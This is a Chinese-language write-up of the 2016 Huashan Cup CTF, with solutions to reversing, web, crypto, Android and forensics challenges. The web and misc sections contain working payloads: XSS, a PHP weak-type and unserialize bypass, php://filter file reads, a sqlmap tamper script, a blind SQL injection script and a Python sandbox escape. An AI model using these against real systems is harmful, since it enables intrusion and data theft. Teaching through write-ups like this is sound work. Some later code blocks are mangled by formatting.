2016华山杯CTF-Writeup

Author: 0xFA@0xFA.club

2016-华山杯 Writeup


Team 0xFA


Re

简单的异或算法

encode_key = 'VgobmndVlBVE'
key = [1,2,3]
for i in range(len(encode_key)/len(key)):
    for j in range(3):
        print chr(key[j] ^ ord(encode_key[i*3+j])),

可得

W e l c o m e T o C T F

####到手的钥匙 开始跟程序发现admin xdadmin,没用, 然后看了下字符串,发现一些东西所在

 if ( v0 == 3247 && result == 5569 )

C:\Users\junmoxiao\Desktop\xdctf\re1>crackme2.exe
Input the correct user name:3247
Input the correct password:5569
You have one more shot...
................................................................................
................................................................................
..................................................685b..........................
................................................................................
................................................................................
........................428b....................................................
................................................................................
..............................................................................79
db..............................................................................
................................................................................
....................................................bccb........................
................................................................................
................................................................................
..........................4b1e..................................................
................................................................................
................................................................................
baa4

得到

685b428b79dbbccb4b1ebaa4

忘记用户名

简单分析一下可得

>>> a = [0x49, 0x4c,0x6f,0x76,0x65,0x58,0x44]
>>> for i in range(len(a)):
...     print chr(a[i]-i+7),
...
P R t z h Z E
>>> PRtzhZE

探囊取物

对程序strings可得字符串,写py

a = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011000001100111111001111111100011111100000111000011111111011000001101111111100111111110000011100001100001100110000011011000011011000001101100001100011011000000110000110000011011000001101100000110001101100001100110001100000110110000000110000011011000000001100011000001100001100000110110000011011000001100110001100001111000011111111100111111001111111100011111100110000011000011000011000001101111111100110000011011000001100001100000110000011000000011011000001100000001101111111110000110000110000011011000110001100000110111111111000011000001100000110110000110110000011011000011011000001100001100001100000110110000110011000001101100000110000110000011000001100111111001111111100011111100110000011000011000001111111001100000110111111110011000001100001100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
for i in range(len(a)):
    print a[i],d
    if (i+1)%107 == 0:
        print '\n',

然后擦亮眼睛就可以看到 HSBSATURDAY

help me

直接ida分析可得

>>> for i in "rev3rs3_ana1ys1s":
...     print hex(ord(i)^9),
...
0x7b 0x6c 0x7f 0x3a 0x7b 0x7a 0x3a 0x56 0x68 0x67 0x68 0x38 0x70 0x7a 0x38 0x7a
>>> t = '0x7b 0x6c 0x7f 0x3a 0x7b 0x7a 0x3a 0x56 0x68 0x67 0x68 0x38 0x70 0x7a 0x38 0x7a'.replace('0x', '')
>>> t
'7b 6c 7f 3a 7b 7a 3a 56 68 67 68 38 70 7a 38 7a'
>>> t.replace(' ','')
'7b6c7f3a7b7a3a5668676838707a387a'

捉迷藏

分析程序可知用户名FindKey,密码长度为14位,调试器跟进去发现一个base64算法和编码后的字符串,解码.然后跟踪发现在C:\Users\JUNMOX~1\AppData\Local\Temp\下生成了flag.jpg,十六进制编辑器打开得flag

移动迷宫

分析程序得到一个方阵,按照#的位置上下移动,走到终点即可,

a = '***********####******#**#*****##*##********#*********#*#####***###***#*********#*********#********##'
print len(a)
for i in range(len(a)):
    print a[i],
    if (i+1)%10 == 0:
        print '\n',

中间移动的算法是按照某个输入字符的位置决定的,如下

#dwwd ddss asss ddwd ddds sssa
#4114 4422 3222 4414 4442 2223

#411444 223222 441444 422223

0A1B a2b3 4C5D c6d7 8E9F e0f1

Ba47F1 A256E0 B347F1 B2C6Ef
Ba47F1A256E0B347F1B2C6Ef

do something

分析程序,得到一堆限制条件

$1=$9
$1=$10
$2=$11
$3=$5
$4=$6
3$12=$8
$12=5
5$15<$13
2$13=$14
3$13<$4
$4<$1
$1<21
$13+$7=$1
2$16=$7
4$15<$3
$3<$7
$2>7
$2<$3
$2+$3<$1

然后拼凑出16个数字,加上前面减去的0x60

>>> a = [20,8,9,19,9,19,14,15,20,20,8,5,6,12,1,7]
>>> b = []
>>> for i in range(len(a)):
...     b.append(a[i]+0x60)
...
>>> b
[116, 104, 105, 115, 105, 115, 110, 111, 116, 116, 104, 101, 102, 108, 97, 103]

>>> for i in b:
...     print(chr(i)),
...
t h i s i s n o t t h e f l a g
>>> c = 't h i s i s n o t t h e f l a g'.strip(' ')
>>> c
't h i s i s n o t t h e f l a g'
>>> c = 't h i s i s n o t t h e f l a g'.replace(' ', '')
>>> c
'thisisnottheflag'
>>>

在程序中输入可得到一个网址,访问可得flag

please input user name:thisisnottheflag
you can get flag at reverse.xdsec.cc/galfehttonsisiht.php

Web

签到

关注微信回复即可

打不过~

http头有个base64信息 decode之后是md5 md5解密后是1931b

http://huashan.xdsec.cn/ctf_hs_00b.php?Password=1931b
flag is:flag_Xd{hSh_ctf:XD_aA@lvmM}

系统管理

这题就是考php弱类型

$test=$_POST['username']; $test=md5($test); if($test=='0')

post username为QNKCDZO 得到user.php 查看源码

$unserialize_str = $_POST['password']; 
$data_unserialize = unserialize($unserialize_str); 
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag);

由于使用双等号 判断 只要让0就能等于???了

username=QNKCDZO&password=a:2:{s:4:"user";i:0;s:4:"pass";i:0;}
flag_Xd{hSh_ctf:kidhvuensl^$} 

简单js

    var a,b,c,d,e,f,g;
    a = 1.2;
    b = a * 5;
    c = a + b;
    d = c / b + a;
    e = c - d * b + a;
    f = e + d /c -b * a;
    g = f * e - d + c * b + a;
    a = g * g;
    a = Math.floor(a);

运行得到14208

flag_Xd{hSh_ctf:fhv84vud83vfd} 

弹弹弹!

http://huashan.xdsec.cn/ctf_hs_00a.php?name=%3Cimg%20src=1%20onerror=alert(1)%3E&Submit=%C3%A6%C2%8F%C2%90%C3%A4%C2%BA%C2%A4%C3%A6%C2%9F%C2%A5%C3%A8%C2%AF%C2%A2
flag_Xd{hSh_ctf:xsL98SsoX!} 

233

查看源代码 JSFuck 编码hex一下 用winhex看得到密码

无间道

http://huashan.xdsec.cn/php/?user=data://text/plain,the%20user%20is%20admin&file=php://filter/convert.base64-encode/resource=../upload/index.php

得到源码 里面有flag
(PS: upload代码写错了 $uploaded_tmp变量没有赋值)

php很烦人

curl 'http://huashan.xdsec.cn/php/?user=data://text/plain,the%20user%20is%20admin&file=php://filter/convert.base64-encode/resource=class.php'

构造payload
<?php

class Read{//f1a9.php
    public $file = 'f1a9.php';
    public function __toString(){
    if(isset($this->file)){
        echo file_get_contents($this->file);    
    }
    return "__toString was called!";
    }
}

$class =new Read();
echo serialize($class);
?>

O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

http://huashan.xdsec.cn/php/?user=data://text/plain,the%20user%20is%20admin&file=class.php&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:8:%22f1a9.php%22;}

flag_Xd{hSh_ctf:djvS_DJG7FJ3_wd7kv}

more try

role=UVdSdGFXNXBjM1J5WVhSdmNnPT0%3D

role是两次base64编码 猜测存在sql注入

sqlmap tamper

import base64

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Base64 all characters in a given payload

    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """

    return base64.b64encode(base64.b64encode(payload.encode(UNICODE_ENCODING))) if payload else payload
sqlmap -u "http://huashan.xdsec.cn/62dd8d15b361f0f441e7/06acad5e2754f7e96d64/" --data "username=123132%27&password=123213%27&role=1*&submit=Sign+In" --random-agent --dbms=mysql --tamper=xdctf --dump -T "the_key" -D "websec"

三秒钟记忆

plaidctf 2014 Web300 原题

payload https://gist.github.com/anonymous/f4e884a234ba5d3c9d37

改一下判断就行了

# -*- coding: UTF-8 -*-
import urllib2
import string
import random

def idgen(size=6, chars=string.ascii_uppercase + string.digits):
  return ''.join(random.choice(chars) for _ in range(size))

def check(pos,d,u):
  id = idgen() + "hn"

  query = id + "'%20and%20(select%20ascii(substr(flag,"+pos+",1))from%20flag)%20between%20"+d+"%20and%20"+u+"#"

  url = "http://huashan.xdsec.cn/pic/index.php?page=login"

  data_reg = "name="+id+"&pass=hn&email=hn&register=Register"
  data_reg2 = "name="+query+"&pass=hn&email=hn&register=Register"
  data_reset = "name="+query+"&reset=Forgot+Password&pass=&email="
  data_login = "name="+id+"&pass=hn&login=Login&email="

  a=urllib2.urlopen(url,data_reg).read()
  a=urllib2.urlopen(url,data_reg2).read()
  b=urllib2.urlopen(url,data_reset).read()
  c=urllib2.urlopen(url,data_login).read()
  #print c
  if c.find("欢迎回来")>0 and c.find("用户名密码记错")<0:
    return 0
  else:
    return 1
  
res = ""
for i in range(1,22):
  p=0
  q=255
  for x in range(0,8):
    n = (p+q)/2
    temp = check(str(i),str(p),str(n))
    q = n if temp==1 else q
    p = n+1 if temp==0 else p
    print q
    print p
  res = res + chr(p)
  print res

flag_Xd{hSh_ctf:dutwq}

疯狂的js

plaidctf 2014 halphow2js 原题

Writeup

http://blog.ozetta.net/2014_04_01_archive.html

    if(m.filter(function(x,i){return m[1]+4*i==x;}).length < 2) return "no";
	if(m.filter(function(x,i){return m[1]+3*i==x;}).length < 1) return "no";
	if(m.filter(function(x,i){return x == args[i];}).length < 2) return "nono";
	if(m.filter(function(x,i){return x > m[i-1];}).length > 2) return "bala";
	if(m.filter(function(x,i){return x < m[i-1];}).length > 1) return "balana~";

重点多了前两个判断 会将你输入的变换排序后 取你列表第二个数字m[1]+4*i和你的列表遍历比较 有两个相等的话就过判断

1 1
2 1
3 5
4 1
5 3
6 6
7 11
8 2
9 5
10 4
11 9
12 6
13 5
14 12
15 11
16 2
17 7
18 6
19 13
20 4
21 3
22 10
23 9
24 6
25 15
26 6
27 13
28 4
29 11
30 12
31 19
32 2
33 9
34 8
35 7
36 6
37 7
38 14
39 15
40 4
41 11
42 4
43 13
44 10
45 9
46 10
47 17
48 6
49 9

Writeup给了这些变换列表 自己算一下取了

js.xdsec.cn/myajax?a=2e0&b=2e00&c=2e000&d=38&e=39

flag_Xd{hSh_ctf:FKIE&ndG^ks@eJ}

Misc

挣脱牢笼

一个很常见的Python沙盒 调用file然后read 猜一下文件名即可 Payload

__builtins__['ww']=().__class__.__base__
__builtins__['w']=ww.__subclasses__()
w[40]('flag.txt').read()

flag_Xd{hSh_ctf:py_sandbox_1s_fun!@}

Android

寻找密码

安装apk之后 在手机上他会自动脱壳但是会删除脱完的程序 adb shell 写个死循环复制/data/data下的apk 时间竞争就可以得到无壳的payload.apk 直接反编译得到

        Object localObject = MessageDigest.getInstance("SHA-1");
        ((MessageDigest)localObject).reset();
        ((MessageDigest)localObject).update(paramString1.getBytes());
        localObject = bytesToString(((MessageDigest)localObject).digest());
        StringBuilder localStringBuilder = new StringBuilder();
        int i = 0;
        for (;;)
        {
          if (i >= 16)
          {
            localObject = localStringBuilder.toString();
            Log.i("demo", "The key is userpassword");
            if ((!((String)localObject).equalsIgnoreCase(paramString2)) || (!paramString1.equalsIgnoreCase(paramString3))
            ```


private static final String str = "U2hlMTFfTjZSYw==";
base64decode后 SHA1加密 取前16位就是key了


#### 顺藤摸瓜

Android代码核心在so文件
加载入 IDA 一共有3个过程
可以直接f5看
根据C来写Python脚本即可


C code

buf_in_ = buf_in; buf_key_ = buf_key; buf_out_ = buf_out; for ( i = 0; i < j_j_strlen(buf_key_); ++i ) buf_key_offset[i] = buf_key_[i] - ‘a’; for ( j = 0; ; ++j ) { buf_in_len = j_j_strlen(buf_in_); if ( j >= buf_in_len ) break; buf_out_[j] = (buf_in_[j] - ‘a’ + buf_key_offset[j % j_j_strlen(buf_key_)]) % 26 + ‘a’; // (in - a + offset) % 26 = out - a // in - a + offset = (out - a) + 26 * k // in = (out - a) + 26 * k + a - offset }


buf_in_ = buf_in; for ( p = buf_out; ; p += 2 ) { val = (unsigned _int8)*buf_in; if ( !*buf_in_ ) break; *p = (val - ‘H’) % 10 + ‘0’; p[1] = (val - ‘H’) / 10 % 10 + ‘0’; ++buf_in_; } p[1] = val;


decode python

def decode3(message2): result = ‘’ for i in range(0, len(message2), 2): s = ord(message2[i]) - ord(‘0’) t = ord(message2[i + 1]) - ord(‘0’) result += chr(s * 10 + t + ord(‘H’)) return result

def decode2(message1): key = “nbrcdpassword” key_offset = “” for i in key: key_offset += chr(ord(i) - ord(‘a’))

result = ''
for i in range(len(message1)):
    value = ord(message1[i]) - ord('a')
    key_value = ord(key_offset[i % len(key)])
    result += chr(value + ord('a') - key_value)

return result

def decode(message): offset = “?Ml[T[l[TF8F?\x1c” result = ‘’ for i in range(len(message)): print(i) result += chr(ord(message[i]) + ord(offset[i]) - ord(‘a’)) return result

message = decode3(“7405847394833303439294822334”) message1 = decode2(message) key = decode(message1)

print key


提交过后会得到一串中文
那个中文就是flag 而不是自己所得到的key

### Crypto

#### 紧急报文

curl "http://ctf.xidian.edu.cn/static/uploads/cc33fd75012a6be5135961f96d4eb174/crypto.txt" | base64 -d
得到

	   A  D  F  G   X
	  ----------------
	A | p  h  q  g   m 
	D | e  a  y  n   o 
	F | f  d  x  k   r
	G | c  v  s  z   w 
	X | b  u  t  i/j l	


提供给我们

FA XX DD AG FF XG FD XG DD DG GA XF FA

直接根据矩阵可得

	FA XX DD AG FF XG FD XG DD DG GA XF FA
	F  L  A  G  X  I  D  I  A  N  C  T  F


FLAGXIDIANCTF

#### 分组加密模式检测

对所有的base64解密 得到长为160的字符串 猜测其为AES数据块
AES每次处理的数据是16字节 所以每行有10块
可以发现第 133 条密文会有重复的数据块
但是其他的密文没有重复的数据块
猜测他加密方式不通
使用他开头的16字符作为flag提交

d880619740a8a19b


#### 协议?认证?加密?

这个是TU CTF 2016原题
https://cryptsec.wordpress.com/2016/05/16/tu-ctf-2016-write-up-secure-transmission/

可以通过 anh.cs.luc.edu\331\code\PohligHellman.py的Pohlig Hellman算法计算DH交换的b值

得到 b 为 274389752

然后计算出密钥

(651518302569801068 ^ 7349757) % 1023789085312022807 = 844469193616983517


用密钥 844469193616983517 进行 AES CBC 解密

flag{KeyXchge-N0t-So-Easy*Humen}’


#### 时间决定一切


http://huashan.xdsec.cn/php/?user=data://text/plain,the%20user%20is%20admin&file=php://filter/convert.base64-encode/resource=../mima/index.php

<?php /* CryptOMG - A configurable CTF style test bed. Andrew Jordan Copyright (C) 2014 Trustwave Holdings, Inc.

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/. */

require(“./init.php”);

$key = “PSreDEGc36”; $key_hash = “7a10ba3d6eaca3f4064a7f2fe2168d53”;

$p_key = @$_POST[‘password’]; $e_message = “”;

$plaintext = “flag_Xd{hSh_ctf:dhu-fssf-vnx}”;

$cipherText = encode(encrypt($plaintext, $cipher, $mode, $key_hash, $iv), 1);

function checkKey($key, $p_key){ $key_hash = “”; for($i=0; $i<strlen($p_key); $i++){ if($key[$i] == $p_key[$i]){ $hash = md5($key[$i]); for($k=0; $k<100000; $k++){ $hash= md5($k.$hash); } $key_hash .= $hash; }else{ return false; } } if(strlen($p_key) != strlen($key)) return false; else return md5($key_hash); } if($p_key!=null){ $hash = checkKey($key, $p_key); if(!$hash) $e_message = “Invalid Password”; else{ $decode = decode(urldecode($cipherText),1); $decrypt = decrypt($decode, $cipher, $mode, $hash, $iv); } } ?>

Crypt 信息:
	
</body> </html> ``` ### Forensics #### 蒲公英的约定 使用 StegoSolve 慢慢切换可以看到二维码 翻转一下颜色 扫描得到结果 base32 之后得到 ``` flag_Xd{hSh_ctf:U2s0_coo1} ``` #### 什么鬼 binwalk 取出 zip 发现有注释 “密码长度 4 位” 使用 fcrackzip 跑密码 得到密码19bZ 解压之后获得二维码, 右上角少了一个点 用ps补全就可以了 然后在线扫描即可获得 Flag #### 客官,听点小曲儿? http://huashan.xdsec.cn/music/ 查看http头 得到key cheers MP3Stego -X -P cheers songs.mp3 得到 fdc3_#l{tsf#ahfte}gS:en_hmgcX_poe ``` fdc3_#l{tsf#ahfte}gS:en_hmgcX_poefdc3_#l{tsf#ahfte}gS:en_hmgcX_poefdc3_#l{tsf#ahfte}gS:en_hmgcX_poefdc3_#l{tsf#ahfte}gS:en_hmgcX_poefdc3_#l{tsf#ahfte}gS:en_hmgcX_poefdc3_#l{tsf#ahfte}gS:en_hmgcX_poefdc3_#l{tsf#ahfte}gS:en_hmgcX_poefdc3_#l{tsf#ahfte}gS:en_hmgcX_poefdc3_#l{tsf#ahfte}gS:en_hmgcX_poefdc3_#l{tsf#ahfte}gS:en_hmgcX_poefdc3_#l{tsf#ahfte}gS:en_hmgcX_poe``` 弄足够长的字节 发现他是通过取间隔 0 6 12 18 23 28 34 f l a g _ X d 6 6 6 6 5 5 6 6 6 6 55 可以拼凑出flag ```
Powered by 0xFA-Team
©Copyright 2014-2022 0xFA-Team